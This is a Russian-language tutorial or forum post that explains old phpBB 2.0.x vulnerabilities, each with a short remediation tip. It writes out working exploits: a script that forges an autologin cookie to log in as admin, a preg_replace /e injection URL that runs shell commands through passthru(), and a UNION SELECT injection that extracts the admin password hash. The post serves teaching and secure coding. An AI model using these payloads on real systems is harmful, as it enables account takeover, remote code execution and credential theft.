Использование оператора равно вместо оператора идентично
Пояснение
В php есть два оператора для сравнения выражений: "==" и "===". Разница между ними в том, что при несоответсвии типов выражений, первый оператор попытается привести выражения к одному типу, а второй - выдаст false. Таким образом код
PHP код:
$password='pass';
if ($password==true) echo "Password is right!";
Подтвердит "правильность" пароля, так как непустая строка "верна".
Где это
Уязвимость работала до 12-й версии включительно
Уязвимость содержалась в файле-библиотеке includes/sessions.php, отвечающей за работу с куками.
Суть проблемы
Функция session_begin в файле includes/sessions.php обрабатывает куки и в зависимости от того, что там лежит, либо логинит, либо - нет. Пару слов о куках. PhpBB использует две куки: "phpbb2mysql_sid" и "phpbb2mysql_data". Первая - это банальный идентификатор сессии, но который разработчики phpBB реализовали самостоятельно, без использования встроенного в php механизма сессий. Выглядит она примерно так: "66cb582584cadd70256a8e19f419501e". Вторая - более интересная. Выглядит она как-то так (после url-дешифровки): "a:2:{s:11:"autologinid";s:32:"81de428d6016cc0a8cc15e6b415b6bd9";s:6:"userid";s:1:"3";}". Те, кто делал на php что-либо более-менее серьёзное, сразу скажут, что это - сериализованный одномерный двухэлементный массив. Для остальных - поясню. В php есть очень удобный механизм "замораживания" объекта. Имя этому механизму - serialize. Функция serialize(mixed) возвращает строку, содержащую все данные об оьъекте. Функция unserialize(string) - обратная к serialize, по сгенерированной строке возвращает объект в его сохранённом виде.
Но вернёмся к phpBB. Строка a:2:{s:11:"autologinid";s:32:"81de428d6016cc0a8cc15e6b415b6bd9";s:6:"userid";s:1:"3";} означает:
-->массив от 2-х элементов
----->индекс первого элемента - строка из 11 символов: "autologinid"
------->ключ первого элемента - строка из 32 символов: "81de428d6016cc0a8cc15e6b415b6bd9"
----->индекс второго элемента - строка из 6 символов: "userid"
------->ключ второго элемента - строка из 1 символа: "3"
Что такое userid, думаю, объяснять излишне. В autologinid храниться хэш пользователя. Впрочем, если юзер не попросил его запомнить, то эта строка будет пуста и в куках будет нечто такое: "a:2:{s:11:"autologinid";s:0:"";s:6:"userid";s:1:"2";}". Полученный массив присваивается переменной $sessiondata (строка 40). Далее, если есть autologinid и вообще "всё хорошо", то происходит сравнение хэша, переданного в куках с настоящим хэшом:
PHP код:
$auto_login_key = $userdata['user_password'];
/* здесь ещё пара малозначительных проверок */
if( $sessiondata['autologinid'] == $auto_login_key )
{
$login = 1;
// переменная $login детерминирует залогиненость юзера. если $login=1, то юзер - зашёл
$enable_autologin = 1;
}
В этом, казалось бы, безбажном коде, копается всё же один вышеописанный тараканчик - если в $sessiondata['autologinid'] вставить true, то при всех $userdata['user_password'] (и соответсвенно при всех $userdata['userid']) равенство верно. Как задать $sessiondata['autologinid']=true? Просто! Следующий скрипт генирирует искомую куку:
PHP код:
$id=2; // сюда ставим id юзера, под которым хотим зайти; 2 - id админа по умолчанию
$userdata=Array('autologinid'=>true, 'userid'=>$id);
echo "Serialize: ".serialize($userdata)."<br>";
echo "Encoded serialize: ".rawurlencode(serialize($userdata));
В последней строке получаем извесный "эксплоит" под phpBB.
Как не вляпаться
Конечно, чтобы не сделать такую ошибку, надо каждый раз, когда пишете '==' отдавать себе отчёт о том, что вы делаете. Впрочем, поскольку это место тонкое и постоянно помнить про него сложно, то лучше вначале вручную свести переменные к нужным типам с помощью strval(), intval() итд.
Плохая фильтрация переменной, передаваемой в preg_replace с модификатором "e"
Пояснение
Как известно, если вызвать функцию preg_replace ($pattern, $replacement, $subject) с модификатором "e", то replacement перед подстановкой компилируется.
В этом месте было несколько ошибок
Раскрытие пути
Где это
Уязвимость работала до 12-й версии включительно
Уязвимость содержалась в файле viewtopic.php, отвечающем за вывод топиков на экран.
Суть проблемы
В phpBB, как и в любом нормальном форуме, есть работающий поиск. Более того, для удобства этого самого поиска найденные слова подсвечиваются с помощью preg_replace(), находящей искомые слова. Но хватит слов - подойдём ближе к телу, тьфу-ты, к коду!
PHP код:
if (isset($HTTP_GET_VARS['highlight']))
{
// слова, разделённые пробелом, помещаются в массив $words и фильтруются
$words = explode(' ', trim(htmlspecialchars($HTTP_GET_VARS['highlight'])));
// после чего складываюся в переменную $highlight_match, разделяемые символом "|"
for($i = 0; $i < sizeof($words); $i++)
{
if (trim($words[$i]) != '')
{
$highlight_match .= (($highlight_match != '') ? '|' : '') . str_replace('*', '\w*', phpbb_preg_quote($words[$i], '#'));
}
}
unset($words);
$highlight_match = phpbb_rtrim($highlight_match, "\\");
}
/* некоторый невлияющий код */
if ($highlight_match)
{
// если существует непустой $highlight_match, то делаем выделение
$message = str_replace('\"', '"', substr(
preg_replace(
'#(\>(((?>([^><]+|(?R)))*)\<))#se',
"preg_replace(
'#\b(" . $highlight_match . ")\b#i',
'<span style=\"color:#" . $theme['fontcolor3'] . "\"><b>\\\\1</b></span>',
'\\0'
)",
'>' . $message . '<'
),
1, -1)
);
}
Строка с искомыми словами содержится в переменной highlight и передаётся в viewtopic.php методом GET. Там она разбивается, перетряхивается в всевозможных решетах, наконец, снова собирается в форме, пригодной для использования в регулярном выражении. Несложно видеть, что функция preg_replace - аж две! Первая находит всё, что не является тэгами, и подставляет это во второе. После подстановки, так как задан модификатор "e", она компилирует, можно сказать, eval'ирует полученное второе выражение. Однако есть одно но, о котором большая часть читателей знает, а другая - догадывается: если набить произвольный текст в блокнот и подсунуть это компилятору, то он вас пошлёт туда ... "где за тучей белеет гора". Хотя - вру! Он укажет путь, причём абсолютный (chroot - не всчёт). Из-за фильтров произвольный текст в $highlight_match набить не удастся, но "нарваться на грубость" - получится. Нампример, так: "\7". После фильров, это преобразуется в "\\\\7". Это было бы просто два экраннированных слэша, если бы дело не происходило внутри preg_replace. Для него это - заэкраннированный слэш, за которым следует седьмое совпадение, что невозможно. Получаем ошибки и искомый путь.
Эксплоит выглядит как-то так: hxxp://phpbb_2_0_12.phpbb/viewtopic.php?t=1&highlight=\7
Внедряем PHP(PHP-injection)
Где это
Уязвимость работала до 15-й версии включительно
Уязвимость содержалась в файле viewtopic.php, отвечающем за вывод топиков на экран.
Суть проблемы
Всё-таки шанс - удивительный! Мы можем выполнить почти произвольный код! Теперь подробнее поговорим об этом почти, то есть о фильтрах. Для начала, обновлённый код:
PHP код:
if (isset($HTTP_GET_VARS['highlight']))
{
// слова, разделённые пробелом, помещаются в массив $words и фильтруются
$words = explode(' ', trim(htmlspecialchars($HTTP_GET_VARS['highlight'])));
// после чего складываюся в переменную $highlight_match, разделяемые символом "|"
for($i = 0; $i < sizeof($words); $i++)
{
if (trim($words[$i]) != '')
{
$highlight_match .= (($highlight_match != '') ? '|' : '') . str_replace('*', '\w*', phpbb_preg_quote($words[$i], '#'));
}
}
unset($words);
$highlight_match = phpbb_rtrim($highlight_match, "\\");
}
/* некоторый невлияющий код */
if ($highlight_match)
{
$message = str_replace('\"', '"', substr(
@preg_replace(
'#(\>(((?>([^><]+|(?R)))*)\<))#se',
"@preg_replace(
'#\b(" . str_replace('\\', '\\\\', $highlight_match) . ")\b#i',
'<span style=\"color:#" . $theme['fontcolor3'] . "\"><b>\\\\1</b></span>',
'\\0'
)",
'>' . $message . '<'),
1, -1));
}
Как видите, отличий немного - это "собака" перед preg_replace'ами и замена всех экраннированых слэшей на парно экраннированные. Первое убирает вывод ошибок (и раскрытие пути). Необходимость второго обусловленна тем, что при "компиляции" внутри preg_replace двойные слэши переходят в одинарные. Не суть! Судьбу $highlight_match в основном решают две функции - htmlspecialchars и phpbb_preg_quote. Действие первой - понятно, вторая аналогична preg_quote плюс она экранирует символ #, чтобы мы не могли выйти за пределы регулярного выражения. Таким образом, единственное, что нам необходимо для счастья - чтобы компилятор не обращал внимание на дополнительные слэши, о чём речь дальше.
Давайте поговорим о дряни (©), которая, впрочем, не мешает выполнению скрипта.
Код:
phpinfo();
Этот код, очевидно, корректен.
Код:
phpinfo\\();
Этот код не очень корректен, матерится, но выполняется.
Код:
\\\\phpinfo\\\\\(\\\\)\\\\;
Аналогично.
Но, что самое удивительное, выполняется (ругаясь, конечно) следующий код:
Код:
$xxx='var name test'; echo \\\\"aaaa"\.\\$xxx.phpinfo\\(\\)\.\\"aaaa";
То есть компилятор закрывает глаза на одинарные и двойные слэши после закрытия кавычки и до оператора конкатенации.
Код:
echo $_GET[aaa];
Если GET'ом передать значаении переменной 'aaa', то компилятор скажет, конечно, что константа 'aaa' - не определена, но выведет её значение.
Этого нам достаточно.
Как видим, "дрянь" не мешает выполнению кода, хотя и выводит неприличные надписи. Впрочем, разработчики phpBB услужливо для такого дела добавили "@"!
Приступим!
Фрагмент кода, в котором будет выпоняться наш код: '#\b(" . str_replace('\\', '\\\\', $highlight_match) . ")\b#i'. Нам надо выйти за пределы параметра, ограниченного одинарными апострафами ('), добавить оператор конкатенации для облюдения "приличий" языка, после чего добавить любый команду, выводящую что-либо на экран.
Пробуем:
GET: hxxp://phpbb_2_0_15.phpbb/viewtopic.php?t=1&highlight='.phpinfo().'
После _всех_ фильтров в регулярное выражение подставится строка: "\\\\'\\.phpinfo\\(\\)\\.\\\\'"
Как вы могли видеть из разговора о дряни, многочисленные слэши никак не помешают выполнению phpinfo(). А так как вывод ошибок для preg_replace запрещён, то и никаких ошибок не будет выведенно.
Что делать далее - очевидно: подставить вместо phpinfo() - passthru(). (Лучше использовать именно passthru(), а не system() или exec(), так как она печатает _весь_ результат выполнения команды.) Так как пробелы в highlight передать не получится, то лучше сам набо команд передавать в другой переменной методом GET, и подставлять её в passthru();
Примерный эксплоит (команду задавать в com): hxxp://phpbb_2_0_15.phpbb/viewtopic.php?t=1&com=echo coommand_here&highlight='.passthru($_GET[com]).'
Напоследок отмечу, что такая же уязвимость была найдена в версии 10! Разница была _только_ в том, что в 10-й версии переменная $HTTP_GET_VARS['highlight'] проходила через urldecode, и соотвественно взломщику приходилось всё, наоборот, кодироватьть в url (urlencode). В 11-й версии urldecode убрали, и сплоит перестал работать, но уязвимость-то осталась!!! Самое удивительное, что этого не замечали (а скорее, не говорили вслух) аж до версии 15!
Как не вляпаться
Во-первых, не недо использовать модификатор 'e'. Если же без него никак, то надо иметь _очень_ прямые руки, голову (лучше две) на плечах и много, много, много тестировать!
Недостаточное усмирение register_globals On(SQL-injection)
Пояснение
При установленном флаге register_globals все переменные окружения доступны не только через суперглобальные массивы, но и напрямую. Это создаёт некоторые дополнительные проблемы для программиста. Например, следующий код:
PHP код:
$pass=$_GET['pass'];
if ($pass==='dfY4gFCxjdf') $log_in=1;
if ($log_in==1) echo "Password is right. You are logged in!";
Выведет заветную фразу не только при зпросе ?pass=dfY4gFCxjdf, но и при запросе ?pass=i_don't_now_the_password_but&log_in=1
Где это
Уязвимость работала до 5-й версии включительно
Уязвимость содержалась в файле viewtopic.php, отвечающем за вывод топиков на экран.
Суть проблемы
Поскольку главная задача скрипта viewtopic.php - вывод топиков, то но должен получать и обрабатывать номер топика. Делает он это так:
PHP код:
if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
{
$topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
}
else if ( isset($HTTP_GET_VARS['topic']) )
{
$topic_id = intval($HTTP_GET_VARS['topic']);
}
Значение $topic_id берётся из переменных окружения, прешедших методом GET - из "topic" или "t" (t - это значение константы POST_TOPIC_URL по умолчанию). Заметьте, что если оба if'а не выполнены, то $topic_id - не определён... Мы это исправим!
Далее идёт малозначащий код. После этого форум проверяет, задано ли view == 'newest'. Если да, то выводятся новые сообщения. Код (для лучшего восприятия кода я подставил значение констант по умолчанию):
PHP код:
if ( isset($HTTP_GET_VARS['view']) && empty($HTTP_GET_VARS['p']) )
{
if ( $HTTP_GET_VARS['view'] == 'newest' )
{
if ( isset($HTTP_COOKIE_VARS[$board_config['cookie_name'] . '_sid']) || isset($HTTP_GET_VARS['sid']) )
{
$session_id = isset($HTTP_COOKIE_VARS[$board_config['cookie_name'] . '_sid']) ? $HTTP_COOKIE_VARS[$board_config['cookie_name'] . '_sid'] : $HTTP_GET_VARS['sid'];
if ( $session_id )
{
$sql = "SELECT p.post_id
FROM phpbb_posts p, phpbb_sessions s, phpbb_users u
WHERE s.session_id = '$session_id'
AND u.user_id = s.session_user_id
AND p.topic_id = $topic_id
AND p.post_time >= u.user_lastvisit
ORDER BY p.post_time ASC
LIMIT 1";
// выполнение запроса и обработка его результатов
Как видите, в этом каскаде if'ов не проверки, установлен ли $topic_id! После чего эта незаданная, а значит и непроверенная переменная напрямую попадает в sql-запрос! Проверяем: hxxp://phpbb_2_0_5.phpbb/viewtopic.php?view=newest&p=&topic_id=1'. Ругается, ура!
Несколько замечаний:
1)Чтобы вытянуть что-нибудь полезное из базы, будем использовать UNION.
2)Поскольку из базы используется ровно одна строка (из-за LIMIT 1), и возиться с концом запроса неохота, то topic_id будет иметь вид 1 AND 17=19 UNION SELECT что-то /* комментарием отбиваем конец исходного. Конечно, вместо 1 надо вставить существующий топик.
3)Посколько из базы достаётся только одно поле p.post_id (Номер последнего непрочитанного сообщения), то и у нас не получится вытащить более одного поля. Будет вытаскивать хэш админа, а если более точно, то "phpbb_users.user_password FROM phpbb_users WHERE phpbb_users.user_id=2"
Объединяя всё сказанное получим: "1 AND 17=19 UNION SELECT phpbb_users.user_password FROM phpbb_users WHERE phpbb_users.user_id=2 /*".
Так получаем эксплоит: hxxp://phpbb_2_0_5.phpbb/viewtopic.php?view=newest&p=&topic_id=1 AND 17=19 UNION SELECT phpbb_users.user_password FROM phpbb_users WHERE phpbb_users.user_id=2 /*
Искомый хэш придёт вместе с заголовком Location: -- 1232f297a57a5a743894a0e4a801fc3. Полагаю, выделить отсюда хэш - несложно
Как не вляпаться
Лично я обычно выключаю register_globals через .htaccess (для этого надо добавить строку: "php_flag register_globals off"), так как необходимость в них отсутствует, а написать $_GET['var'] вместо $var мне проще, чем заниматься геморром с отлавливанием попыток что-то подменить (какой же геморр? - посмотрите на досуге файл "common.php" в phpBB2).
Продолжение в следующем посте